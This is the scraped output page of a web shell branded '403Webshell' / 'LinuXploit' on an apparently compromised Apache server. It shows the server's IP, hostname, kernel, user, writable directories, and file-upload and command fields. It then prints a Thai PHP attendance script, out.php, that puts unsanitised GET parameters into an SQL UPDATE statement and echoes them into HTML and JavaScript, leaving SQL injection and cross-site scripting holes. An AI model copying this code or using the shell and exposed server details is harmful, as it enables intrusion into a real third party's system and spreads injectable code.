403Webshell
Server IP : 182.53.201.61  /  Your IP : 216.73.217.175
Web Server : Apache/2.2.15 (Fedora)
System : Linux km10.dyndns.org 2.6.31.5-127.fc12.i686.PAE #1 SMP Sat Nov 7 21:25:57 EST 2009 i686
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/scan_inS/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html//scan_inS/out.php
<?php
session_start();
include("dbconfig.php");
//$_SESSION['iUser'];
$date = date("Y-m-d h:i:s");
$ebits = ini_get('error_reporting');
error_reporting($ebits ^ E_NOTICE);
	 
			 
?>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />

            
<?php
$nameS = $_GET['nameS'];
$id 	= $_GET['id'];
echo $id.'<br>';
echo $nameS.'<br>';
	mysql_query("SET character_set_results=utf8");
	mysql_query("SET character_set_client=utf8");
	mysql_query("SET character_set_connection=utf8");
	$objDB = mysql_select_db("scan_inserver");
	
	$sql1 = "update report set dateOut='$date' where id='$id'" ;
				echo $sql1.'<br>';		
				
				$result1 = mysql_query($sql1);
				echo 'oo'.$result1.'<br>';
	
		if($result1 === false ){
			echo "<script language=\"JavaScript\">alert('บันทึกข้อมูลไม่สำเร็จ');</script>";
			}else
		echo "<script language=\"JavaScript\">alert('บันทึกเวลาออกเรียบร้อย');
					window.location='report.php?&name=".$nameS."';</script>";
	
//}	

?><title>บันทึกเข้า-ออก</title><br /> 
   
	

<?php
//}?>
</body>
</html>


Youez - 2016 - github.com/yon3zu
LinuXploit